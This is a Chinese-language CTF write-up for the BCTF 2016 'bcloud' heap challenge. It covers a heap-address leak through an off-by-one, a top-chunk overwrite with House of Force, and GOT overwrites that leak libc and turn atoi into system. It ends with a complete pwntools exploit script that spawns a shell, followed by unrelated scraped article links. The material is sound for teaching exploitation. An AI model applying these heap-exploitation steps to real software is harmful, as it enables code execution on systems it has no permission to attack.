Attack Top Chunk之 bcloud
前言
这是 bctf 2016
的题,链接
https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200
相关资源
https://gitee.com/hac425/blog_data/tree/master/bcloud
正文
首先程序开启的保护
haclh@ubuntu:~/workplace/bcloud$ checksec bcloud
[*] '/home/haclh/workplace/bcloud/bcloud'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
Partial RELRO
可以改 got
在 init_some
里面藏着两个非常隐蔽的漏洞。进去看看,首先调用 get_username
获取一个 name
首先使用 read_to_buf
获取 name
, 最大大小为 0x40
, 然后 malloc
一块内存用于存放 name
,
如果我们输入 0x40
个字符, 那么 name[0x41] = \x00
, 回到 get_username
,我们发现 name
和 ptr
是相邻的
char name; // [esp+1Ch] [ebp-5Ch]
char *ptr; // [esp+5Ch] [ebp-1Ch]
那么 name[0x41]
其实就是 ptr
最低字节(小端模式下), 在 read_to_buf
之后才通过 malloc
把分配的指针存在了 ptr
, 所以 ptr
会覆盖掉 read_to_buf
中为字符串设置的 \x00
终结符(name[0x41] = \x00
), 接着又用了
strcpy(ptr, &name);
来拷贝字符串,这就会把 ptr
的值也拷贝进 ptr
指向的堆内存(溢出)。拷贝完后,紧接着会调用 printf
打印 ptr
所指向的字符串,我们就可以泄露 堆地址
调试验证一下, 输入 0x40
个 a
, 然后在调用 strcpy
处下个断点。
可以看到, name
字符串的终结符 \x00
已经被 新分配的内存地址 0x0804c008
给吃掉了,调用 strcpy
就会把 ptr
的值一起拷贝进 新分配的内存 0x0804c008
, 接下来的 printf
就会打印出这个地址,这样就能拿到 堆地址 了。
回到 init_some
函数,接下来会调用 set_host_org
和 get_username
一样的漏洞
char org_; // [esp+1Ch] [ebp-9Ch]
char *org_ptr; // [esp+5Ch] [ebp-5Ch]
int host_; // [esp+60h] [ebp-58h]
char *host_ptr; // [esp+A4h] [ebp-14h]
首先分配读入 org_
和 host_
,然后分配 host_ptr
和 org_ptr
, 其中 org_
和 org_ptr
是相邻的 ,而 org_ptr
和 host_
是相邻的,所以当输入 0x40
字节的 org_
然后 到了最后的
strcpy(org_ptr, &org_);
就会 把 org_
, org_ptr
和 host_
一起拷贝到 org_ptr
所指向的内存.
由于 org_ptr
是后面 malloc
的,所以 org_ptr
和 top chunk
相邻,于是我们就可以溢出 top chunk
, org_ptr
的值会在 top chunk
的 pre_size
为, 而 top chunk
的 size
位则为 host_
的开始 4 个字节。所以我们现在可以任意修改 top chunk
的 size
位。
然后在 new_note
里面,我们可以控制分配的大小,而且我们可以 分配最多 10
个 note
所以我们现在的能力
可以修改top chunk的 size
可以控制 malloc 的参数
可以malloc的次数 >= 2
house of force
搞起来,通过 house of force
我们可以 malloc
到任意地址。
先覆盖 top chunk
的 size
为 0xffffffff
, 然后使用计算公式 ( 32 位)
evil_size = target_addr - 2 * 0x4 - top_chunk_addr
然后在
malloc(evil_size)
ptr = malloc(size)
那么 ptr
就是 target_addr + 2 * 0x4
了( pre_size + size = 2 * 4
)。
再配合程序的 edit_note
就可以实现 任意地址写。
任意地址写的实现如下
首先使用 house of force
, 使得 note1
指向 note_ptr_table
接着操作 note1
, 就是编辑 note_ptr_table
。同时每次对 note_ptr_table
的操作都要记得 note_ptr_table[1] = note_ptr_table
, 这样可以维持编辑 note_ptr_table
的能力,同时在后面可以重用这部分代码来 进行 内存 写。
由于 note0
的 size=evil_size
,其实这是个负数,测试时对 note0
进行 edit
有一两个字节写不进去,于是,多分配一个 note2
, 用它来作为 ** 任意地址写** 的载体。
任意地址写的代码片段如下,(懒的抽出来重写一个函数了
为了 getshell
, 还差一个 libc
的地址,然而程序里面没有提供 输出的功能,我们可以把 free@got
改成 puts@plt
, 之后调用 free(ptr)
就是 puts(ptr)
, 而 ptr
使我们可控的
于是任意地址读实现。
整理一下利用过程
get_name
处利用漏洞,拿到heap
的地址,计算top chunk
的地址house of force
分配到note_ptr_table
的地址- 利用
edit
功能实现任意地址写 - 把
free@got
改成puts@plt
,实现任意地址读 - 读
puts@got
拿到libc
的基地址 - 修改
aoti@got
为system
- 发送
sh
, 触发aoti("sh")
, 实际执行的是system("sh")
参考
http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html
最后的 exp
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug')
p = process("./bcloud")
gdb.attach(p,'''
bp 0x08048829
c
''')
pause()
p.recvuntil("Input your name:")
p.send("a" * 0x40)
p.recv(0x44)
p.recv(0x44)
heap = u32(p.recv(4)) - 0x8
top_chunk_addr = heap + 216
log.info("got heap: " + hex(heap))
log.info("got top_chunk_addr: " + hex(top_chunk_addr))
pause()
p.recvuntil("Org:")
p.send("b" * 0x40)
payload = p32(0xffffffff) # top chunk 的 size 位
payload += "c" * (0x40 - len(payload))
p.recvuntil("Host:")
p.send(payload)
bss_addr = 0x0804B120 # note_ptr_table 的地址
evil_size = bss_addr - 8 - top_chunk_addr -8 # 计算一个size , 用于在第二次 malloc 是返回 bss_addr
log.info("evil_size: " + hex(evil_size))
log.info("set top chunk size: 0xffffffff")
pause()
p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(evil_size - 4)) # malloc(len + 4), note0
p.recvuntil("Input the content:")
p.sendline("a" * 4)
p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(0x40)) # 此时分配到 note1, note1 ---> bss_addr
p.recvuntil("Input the content:")
free_got = 0x0804B014
puts_plt = 0x08048520
puts_got = 0x0804B024
payload = p32(free_got)
payload += p32(bss_addr) # 为了维持控制,使得 note_ptr_table[1] 的值始终为 note_ptr_table 的地址
p.sendline(payload)
## note 2
p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(0x40))
p.recvuntil("Input the content:")
p.sendline("a" * 4)
log.info("note0--->free@got , note1--->ptr_table")
pause()
p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(1))
p.recvuntil("Input the new content:")
payload = p32(free_got)
payload += p32(bss_addr)
payload += p32(free_got) # target addr , 要写的地址
payload += p32(puts_got)
p.sendline(payload)
p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(2))
p.recvuntil("Input the new content:")
p.sendline(p32(puts_plt)) # data to write,要写的数据
log.info("free@got ---> puts_plt")
pause()
p.recvuntil("option--->>")
p.sendline("4")
p.recvuntil("Input the id:")
p.sendline(str(3))
libc = u32(p.recvuntil("Delete success.")[1:5]) - 0x5fca0
system = libc + 0x3ada0
log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
pause()
p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(1))
p.recvuntil("Input the new content:")
aoti_got = 0x0804B03C
payload = p32(free_got)
payload += p32(bss_addr)
payload += p32(aoti_got)
p.sendline(payload)
p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(2))
p.recvuntil("Input the new content:")
p.sendline(p32(system))
log.info("aoti--->system")
pause()
p.sendline("sh")
p.interactive()
Attack Top Chunk之 bcloud的更多相关文章
- Fastbin attack——Double Free
ptmalloc ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割.回收等操作.在32位系统下,chunk头的大小为8 Bytes,且每个ch ...
- Tcahce Stashing Unlink Attack
今年校赛有点可惜,最后两道质量不错的pwn每做出来,总的来说还是我太菜了,希望下次校赛能AK pwn题.不过这次校赛也没有白打,还是有学到新的东西的.在这里感谢出题的学长. glibc-2.29以后u ...
- Fastbin attack 总结
Fastbin attack 本文参考了ctf-wiki 和glibc 要了解fastbin attack,我们先要了解fastbin的机制.由于libc2.26后加入了tcache机制,我们这里就只 ...
- Kali下使用libheap
Kali下使用libheap 在github上,可以libheap用来帮助调试堆溢出.链接见:https://github.com/cloudburst/libheap 但是最后一次更新在一年前了,我 ...
- pwn with glibc heap(堆利用手册)
前言 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. 文中未做说明 均是指 glibc 2.23 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 本节只是简 ...
- off by null 实战
前言 off by null 是一个比较有意思的技术 下面通过 hctf2018 的 heapstrom_zero 实战一波. 相关文件(exp, 题目)位于 https://gitee.com/ha ...
- Hitcon 2016 Pwn赛题学习
PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...
- Pwn with File结构体(一)
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...
- Pwn with File结构体(三)
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...
随机推荐
- 【bzoj4259】 残缺的字符串 FFT
又是一道FFT套路题 思路可以参考bzoj4503,题解 我们对串S和串T中出现的*处全部赋值为0. 反正最终的差异度式子大概就是 $C[i]=\sum_{j=0}^{|T|-1}S[i+j]T[j] ...
- Oracle sys或者system的默认密码
Oracle的sys和system默认密码 system默认:manager sys默认:change_on_install 使用SQL Plus登录数据库时,system使用密码manager可 ...
- 搭建hadoop_之 创建3个虚拟机配置好网络
(创建3个虚拟机,1个作为主服务器,二个作为从节点) 一.安装虚拟机 Windwos:VMware Workstation Pro MAC:VMware Fusion 安装: ** 创建空 ...
- 15-hadoop-eclipse插件的安装
好久没更新了, 也好久没学了, 今天换了个eclipse版本, 安装插件坑了一会, 果然好记性不如烂笔头, 记下来吧 编译安装或者直接安装都可以, 先说下编译安装吧 1, 编译安装, 是使用的ant, ...
- springboot-16-springboot中引入xml文件
参考原文: http://412887952-qq-com.iteye.com/blog/2293846 使用的是在spring中注入一个bean的方式来测试是否成功, 感觉略不实用, 只碰到过一次d ...
- 【设计模式】工厂模式 Factory Pattern
1)简单工厂(不是模式) 简单工厂只是一种变成习惯,并非23种设计模式之一. 简单工厂提供将实例话那种类型留给运行时判断,而非编译时指定.简单工厂模式就是由一个工厂类根据传入的参数决定创建出哪一个类的 ...
- layui框架使用总结
最近一个后台系统使用layui框架做的,遇到好多坑在这里总结一下. 1.layui的基本使用,下面的在他下面写,其他的事件也要在这个里面写 行内onclick事件是监听不到写在下面这种代码中的 ...
- unity游戏热更新总结
1.利用反射来做Dll更新 这种方式只支持windows以及安卓这种支持JIT的平台,对于IOS就不适用了,IOS这种Full-AOT的平台不支持生成新的代码,因此这种热更方式很少用到. 2.利用 ...
- Python使用Redis数据库
Redis 简介 Redis是开源的高性能Key-Value数据库,可以用于缓存等用途. Redis可以提供事务和持久化支持保证并发安全性,并提供TTL(time to life)服务. 使用Redi ...
- 求最短路径的三种算法: Ford, Dijkstra和Floyd
Bellman-Ford算法 Bellman-Ford是一种容易理解的单源最短路径算法, Bellman-Ford算法需要两个数组进行辅助: dis[i]: 存储顶点i到源点已知最短路径 path[i ...